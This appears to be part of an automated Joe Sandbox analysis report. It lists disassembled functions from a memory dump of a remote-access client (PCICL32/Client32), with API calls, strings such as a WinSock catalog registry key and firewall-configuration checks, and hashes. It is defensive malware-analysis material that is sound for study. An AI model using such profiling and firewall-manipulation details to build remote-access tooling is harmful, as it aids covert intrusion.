Opcode ID: db19f8e7b9fff8ba68d37a9baa43a0e7c0721c068b2f24d3f0a3aafd2fe6ed90
Instruction ID: 7e481d80fa827a07ee7257280804c30d2ae959ce5d98406b053f8524d928f6e4
Opcode Fuzzy Hash: db19f8e7b9fff8ba68d37a9baa43a0e7c0721c068b2f24d3f0a3aafd2fe6ed90
Instruction Fuzzy Hash: 6C41C2B5E00216AFDB11CFB98C84BAEFBF5FB48708F00453AE815DB244E675A944CB91

Function 110607F0 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 289registryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,1117F505,00000000,00000000,1B492F88,00000000,?,00000000), ref: 11060874
_malloc.LIBCMT ref: 110608BB

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

RegEnumValueA.ADVAPI32(?,?,?,00000000,00000000,00000000,000000FF,?,1B492F88,00000000), ref: 110608FB
RegEnumValueA.ADVAPI32(?,00000000,?,00000100,00000000,?,000000FF,?), ref: 11060962
_free.LIBCMT ref: 11060974

Strings

maxname < _tsizeof (m_szSectionAndKey), xrefs: 110608A8
..\ctl32\Config.cpp, xrefs: 11060883, 110608A3, 11060A75
err == 0, xrefs: 11060888
strlen (k.m_k) < _tsizeof (m_szSectionAndKey), xrefs: 11060A7A

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: EnumValue$ErrorExitInfoLastMessageProcessQuery_free_mallocwsprintf
String ID: ..\ctl32\Config.cpp$err == 0$maxname < _tsizeof (m_szSectionAndKey)$strlen (k.m_k) < _tsizeof (m_szSectionAndKey)
API String ID: 999355418-161875503
Opcode ID: 25c6060889b0532266d56abace0ba5fbfa4960398331d3b945ebf36f5c2f89a7
Instruction ID: c47c75eefe38bee888b154a00c4449ad07b8701d7df13cace45a3bfee881b040
Opcode Fuzzy Hash: 25c6060889b0532266d56abace0ba5fbfa4960398331d3b945ebf36f5c2f89a7
Instruction Fuzzy Hash: E3A1B075A007469FE721CF64C880BABFBF8AF45308F044A5CE99697684E770F508CBA1

Function 1115BA20 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 183commemoryCOMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,1B492F88,00000000,?), ref: 1115BA67
CoCreateInstance.OLE32(111C4FEC,00000000,00000017,111C4F1C,?), ref: 1115BA87
wsprintfW.USER32 ref: 1115BAA7
SysAllocString.OLEAUT32(?), ref: 1115BAB3
wsprintfW.USER32 ref: 1115BB67
SysFreeString.OLEAUT32(?), ref: 1115BC08

Strings

root\CIMV2, xrefs: 1115BAA1
SELECT * FROM %s, xrefs: 1115BB61
WQL, xrefs: 1115BB80

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Stringwsprintf$AllocCreateFreeInitializeInstanceSecurity
String ID: SELECT * FROM %s$WQL$root\CIMV2
API String ID: 3050498177-823534439
Opcode ID: 576cfa077ff6f7d7422243c8d6aded75e2d45eb1edbb45dc90fee1c625149e70
Instruction ID: 667e066b75244b2782fe63ff2368f72f8a2c2363a2cb4bcdb988270c73b3585f
Opcode Fuzzy Hash: 576cfa077ff6f7d7422243c8d6aded75e2d45eb1edbb45dc90fee1c625149e70
Instruction Fuzzy Hash: 7351B071B00219ABC764CF69CC84F9AF7B9FB8A714F1042A8E429E7240DA70AE40CF55

Function 11145440 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 84libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 11145330: RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 111453A0
Part of subcall function 11145330: RegCloseKey.ADVAPI32(?), ref: 11145404

_memset.LIBCMT ref: 11145485
GetVersionExA.KERNEL32(?,00000000,00000000), ref: 1114549E
LoadLibraryA.KERNEL32(kernel32.dll), ref: 111454C5
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 111454D7
FreeLibrary.KERNEL32(00000000), ref: 111454EF
GetSystemDefaultLangID.KERNEL32 ref: 111454FA

Strings

GetUserDefaultUILanguage, xrefs: 111454D1
kernel32.dll, xrefs: 111454B0

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: Library$AddressCloseDefaultFreeLangLoadOpenProcSystemVersion_memset
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 4251163631-545709139
Opcode ID: 60d783b5b5cd8942fc75307bb254099b366294b2f30fa269448a3e45cf09a56e
Instruction ID: 76ed8f4553af2ae4cc76032582d3c5cf4b75be54885724a55a46303ac3459834
Opcode Fuzzy Hash: 60d783b5b5cd8942fc75307bb254099b366294b2f30fa269448a3e45cf09a56e
Instruction Fuzzy Hash: 07313971E002299BD761DF74D984BE9F7B6EB08729F540164E42DC7A80D7344984CF91

Function 11015010 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 128registryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110150CA
_memset.LIBCMT ref: 1101510E
RegQueryValueExA.KERNEL32(?,PackedCatalogItem,00000000,?,?,?,?,?,00020019), ref: 11015148

Strings

%012d, xrefs: 110150C4
SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries, xrefs: 1101504B
NSLSP, xrefs: 11015158
PackedCatalogItem, xrefs: 11015132

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 51d8f863940591209aa48ee8c17907a3c30549026713edc7384ebfc6867c5eab
Instruction ID: d38f3a4d66d5a90606c53f5b1b84405609ec5bb3b13ff7cea0d7775b25b40b12
Opcode Fuzzy Hash: 51d8f863940591209aa48ee8c17907a3c30549026713edc7384ebfc6867c5eab
Instruction Fuzzy Hash: C6419D71D02269AFEB11DB64CC90BDEF7B8EB44314F0445E9E819A7281EB35AB48CF50

Function 1100FDC0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1100FDED
std::_Lockit::_Lockit.LIBCPMT ref: 1100FE10
std::bad_exception::bad_exception.LIBCMT ref: 1100FE94
__CxxThrowException@8.LIBCMT ref: 1100FEA2
std::_Lockit::_Lockit.LIBCPMT ref: 1100FEB5
std::locale::facet::_Facet_Register.LIBCPMT ref: 1100FECF

Strings

bad cast, xrefs: 1100FE8C

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: a7aa4a6049a8ed817bef268ace451c424b01c27ab063a1090bc59c7f390f5fbb
Instruction ID: 563b417412927bd42dfe2d2268ce551a617b01fe8fe711e168dc892134580a96
Opcode Fuzzy Hash: a7aa4a6049a8ed817bef268ace451c424b01c27ab063a1090bc59c7f390f5fbb
Instruction Fuzzy Hash: 5731E975D002669FD711DF94C890BAEF7B8EB04B68F10426DD921A7291DB717D40CB92

Function 11144BD0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,11194AB8), ref: 11144C3D
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110F4CB), ref: 11144C7E
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 11144CDB

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

Strings

..\ctl32\util.cpp, xrefs: 11144BF7, 11144C99
FALSE || !"wrong nsmdir", xrefs: 11144C9E
nsmdir < GP_MAX, xrefs: 11144BFC

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: 942c5252def4268129969c39a1215845e921a51e2954e507dd92eff7077da9be
Instruction ID: dd955378f98185685044f21f066d1e50e049b7277ab8e5714ac6db0ba135c9a8
Opcode Fuzzy Hash: 942c5252def4268129969c39a1215845e921a51e2954e507dd92eff7077da9be
Instruction Fuzzy Hash: AB518835D4022E5BD711CF24DC50BDEF7A4AF15B08F2401A4D8997BA80EBB27B84CBA5

Function 11107290 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 110libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F520: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,76EEC3F0,?,1111022D,00000000,00000001,?,?,?,?,?,11031040), ref: 1110F53E

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11189A56,000000FF), ref: 11107363
LoadLibraryA.KERNEL32(Advapi32.dll), ref: 111073B2
std::exception::exception.LIBCMT ref: 11107414
__CxxThrowException@8.LIBCMT ref: 11107429

Strings

Advapi32.dll, xrefs: 11107365
Wtsapi32.dll, xrefs: 1110735E

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: LibraryLoad$CreateEventException@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: Advapi32.dll$Wtsapi32.dll
API String ID: 2851125068-2390547818
Opcode ID: aaba10e307cec69a1f7ff7a57bac704082b679f648b946fc7c8140d35e3eefa9
Instruction ID: 20da51148d2406ef940ba90f631bbe284ff6dbb95dc7cb8c25b5cdc78ae8e1aa
Opcode Fuzzy Hash: aaba10e307cec69a1f7ff7a57bac704082b679f648b946fc7c8140d35e3eefa9
Instruction Fuzzy Hash: 2A4115B4D09B449FC761CF6A8940BDAFBE8EFA9604F00490EE5AE93210D7797500CF56

Function 11017300 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000002FC,000000FF), ref: 1101733C
CoInitialize.OLE32(00000000), ref: 11017345
_GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101736C
CoUninitialize.COMBASE ref: 110173D0

Strings

Win32_ComputerSystem, xrefs: 1101735D
PCSystemTypeEx, xrefs: 1101737C

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2407233060-578995875
Opcode ID: 3ab08bcf13d713d750a6400e0dd08c6ca0ab4b874316cbd8a5b8b2923fc85cec
Instruction ID: df925c951649f52390f194a40c23bf9fa59b5f59fb7a44760539d7ccd5920114
Opcode Fuzzy Hash: 3ab08bcf13d713d750a6400e0dd08c6ca0ab4b874316cbd8a5b8b2923fc85cec
Instruction Fuzzy Hash: 7F2137B5E041259BDB11DFA0CC46BBAB6E8AF40308F0040B9EC69DB184FA79E940D7A1

Function 11017220 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(000002FC,000000FF), ref: 11017252
CoInitialize.OLE32(00000000), ref: 1101725B
_GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017282
CoUninitialize.COMBASE ref: 110172E0

Strings

Win32_SystemEnclosure, xrefs: 11017273
ChassisTypes, xrefs: 11017292

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: ChassisTypes$Win32_SystemEnclosure
API String ID: 2407233060-2037925671
Opcode ID: 03f14ebb68a291b498bc3e28f26753d57b14005c3c93e514e963537cc8d20d91
Instruction ID: c2f3c346b695d23426c96ecc328f7bdb1aeadc280033f44fb53199f8ba8604cb
Opcode Fuzzy Hash: 03f14ebb68a291b498bc3e28f26753d57b14005c3c93e514e963537cc8d20d91
Instruction Fuzzy Hash: 19210575E016299BD712DFE0CC45BEEB7E89F80718F0001A8FC29DB184EA7AE945C761

Function 111386B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 111386DA
GetTickCount.KERNEL32 ref: 111386E1

Strings

DesktopTimerProc - Further ICF config checking will not be performed, xrefs: 1113879C
Client, xrefs: 11138705
DoICFConfig() OK, xrefs: 11138786
AutoICFConfig, xrefs: 11138700

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112AC000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112B3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000112DE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001132A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_shv.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: AutoICFConfig$Client$DesktopTimerProc - Further ICF config checking will not be performed$DoICFConfig() OK
API String ID: 536389180-1512301160
Opcode ID: a952649d10152439879ed58b5e1132f0d59133535c4a4a3642475d19345c2f1e
Instruction ID: a0019f70d98f4d819e239f855ef0bc8db2e19db1671bc02c3e0d3b7677daedde
Opcode Fuzzy Hash: a952649d10152439879ed58b5e1132f0d59133535c4a4a3642475d19345c2f1e
Instruction Fuzzy Hash: E4210578A247AB4AFB039B759ED4755FB83578073EF450278DE10862CCDB74A458CB42

Function 11096970 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 58comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 11096984
CLSIDFromProgID.COMBASE(HNetCfg.FwMgr,?,?,?,?,?,?,?,1113769B), ref: 1109699E
CoCreateInstance.OLE32(?,00000000,00000001,111C08AC,?,?,?,?,?,?,?,1113769B), ref: 110969BB
CoUninitialize.OLE32(?,?,?,?,?,?,1113769B), ref: 110969D9

Strings

ICF Present: , xrefs: 110969E0
HNetCfg.FwMgr, xrefs: 11096999

Memory Dump Source

Source File: 00000005.00000002.4132521378.0000000011001000.00000020.00000001.01000000.0000000A.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.4132504761.0000000011000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132635171.0000000011193000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132682432.00000000111E1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132703581.00000000111F0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.00000000111F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001125C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.0000000011287000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000005.00000002.4132721727.000000001129D000.00000002.00000001.01000000.0000000A.sdmpDownload File
